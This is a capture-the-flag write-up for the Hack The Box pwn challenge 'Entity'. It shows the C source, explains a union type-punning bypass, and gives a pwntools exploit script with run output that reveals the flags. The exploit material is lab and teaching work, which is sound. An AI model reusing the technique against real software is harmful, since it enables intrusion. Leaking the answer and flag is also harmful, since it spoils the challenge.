Entity

1) Source code is given to us

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

static union {
    unsigned long long integer;
    char string[8];
} DataStore;

typedef enum {
    STORE_GET,
    STORE_SET,
    FLAG
} action_t;

typedef enum {
    INTEGER,
    STRING
} field_t;

typedef struct {
    action_t act;
    field_t field;
} menu_t;

menu_t menu() {
    menu_t res = { 0 };
    char buf[32] = { 0 };
    printf("\n(T)ry to turn it off\n(R)un\n(C)ry\n\n>> ");
    fgets(buf, sizeof(buf), stdin);
    buf[strcspn(buf, "\n")] = 0;
    switch (buf[0]) {
    case 'T':
        res.act = STORE_SET;
        break;
    case 'R':
        res.act = STORE_GET;
        break;
    case 'C':
        res.act = FLAG;
        return res;
    default:
        puts("\nWhat's this nonsense?!");
        exit(-1);
    }

    printf("\nThis does not seem to work.. (L)ie down or (S)cream\n\n>> ");
    fgets(buf, sizeof(buf), stdin);
    buf[strcspn(buf, "\n")] = 0;
    switch (buf[0]) {
    case 'L':
        res.field = INTEGER;
        break;
    case 'S':
```

```
        res.field = STRING;
        break;
    default:
        printf("\nYou are doomed!\n");
        exit(-1);
    }
    return res;
}

void set_field(field_t f) {
    char buf[32] = {0};
    printf("\nMaybe try a ritual?\n\n>> ");
    fgets(buf, sizeof(buf), stdin);
    switch (f) {
    case INTEGER:
        sscanf(buf, "%llu", &DataStore.integer);
        if (DataStore.integer == 13371337) {
            puts("\nWhat's this nonsense?!");
            exit(-1);
        }
        break;
    case STRING:
        memcpy(DataStore.string, buf, sizeof(DataStore.string));
        break;
    }

}

void get_field(field_t f) {
    printf("\nAnything else to try?\n\n>> ");
    switch (f) {
    case INTEGER:
        printf("%llu\n", DataStore.integer);
        break;
    case STRING:
        printf("%.8s\n", DataStore.string);
        break;
    }
}

void get_flag() {
    if (DataStore.integer == 13371337) {
        system("cat flag.txt");
        exit(0);
    } else {
        puts("\nSorry, this will not work!");
    }
}

int main() {
    setvbuf(stdout, NULL, _IONBF, 0);
    bzero(&DataStore, sizeof(DataStore));
    printf("\nSomething strange is coming out of the TV..\n");
    while (1) {
        menu_t result = menu();
        switch (result.act) {
        case STORE_SET:
            set_field(result.field);
            break;
```

```
        case STORE_GET:
            get_field(result.field);
            break;
        case FLAG:
            get_flag();
            break;
        }
    }

}
```

2) Attack Path

i) we have to reach get_flag() function with value of DataStore.integer as 13371337

```
menu_t.menu() {
  menu_t.res = {0};
  char buf[32] = {0};
  printf("\n(T)ry to turn it off\n(R)un\n(C)ry\n\n>> ");
  fgets(buf, sizeof(buf), stdin);
  buf[strcspn(buf, "\n")] = 0;
  switch (buf[0]) {
  case 'T':
    res.act = STORE_SET;
    break;
  case 'R':
    res.act = STORE_GET;
    break;
  case 'C':
    res.act = FLAG;
    return res;
  default:
    puts("\nWhat's this nonsense?!");
    exit(-1);
  }
```

```
case FLAG:
  get_flag();
  break;
}
```

We have to Enter C to reach FLAG

```
void set_field(field_t f) {
    char buf[32] = {0};
    printf("\nMaybe try a ritual?\n\n>> ");
    fgets(buf, sizeof(buf), stdin);
    switch (f) {
    case INTEGER:
        sscanf(buf, "%llu", &DataStore.integer);
        if (DataStore.integer == 13371337) {
            puts("\nWhat's this nonsense?!");
            exit(-1);
        }
        break;
    case STRING:
        memcpy(DataStore.string, buf, sizeof(DataStore.string));
        break;
    }

}
```

We cannot Set DataStore.integer to 13371337 as it will exit the program

ii) Now notice that DataStore is union type which means the char[8] and int share same memory

We need to Enter equivalent of 13371337 as string

```
>>> hex(13371337)
'0xcc07c9'
```

We can enter these bytes

\xcc\x07\xc9\x00\x00\x00\x00\x00

3) Made a exploit

```
from pwn import *

io = process('./entity')
context.terminal = ['tmux', 'splitw', '-h']
gdb.attach(io)

io.sendlineafter(b'>> ', b'T')
io.sendlineafter(b'>> ', b'S')
io.sendlineafter(b'>> ', b'\xc9\x07\xcc\x00\x00\x00\x00\x00')
io.sendlineafter(b'>> ', b'C')

io.interactive()
```

4) Exploited on local

```
┌──(vigneswar㉿VigneswarPC)-[~/Pwn/Entity/challenge]
└─$ python3 exploit.py
[+] Starting local process './entity': pid 5063
[*] Switching to interactive mode
HTB{f4k3_fl4g_4_t35t1ng}
[*] Process './entity' stopped with exit code 0 (pid 5063)
[*] Got EOF while reading in interactive
$
```

5) Exploited on remote machine

```
┌──(vigneswar㉿VigneswarPC)-[~/Pwn/Entity/challenge]
└─$ python3 exploit.py
[+] Starting local process '/usr/bin/nc': pid 5272
[*] Switching to interactive mode
HTB{th3_3nt1ty_0f_htb00_i5_5t1ll_h3r3}
[*] Process '/usr/bin/nc' stopped with exit code 0 (pid 5272)
[*] Got EOF while reading in interactive
$
```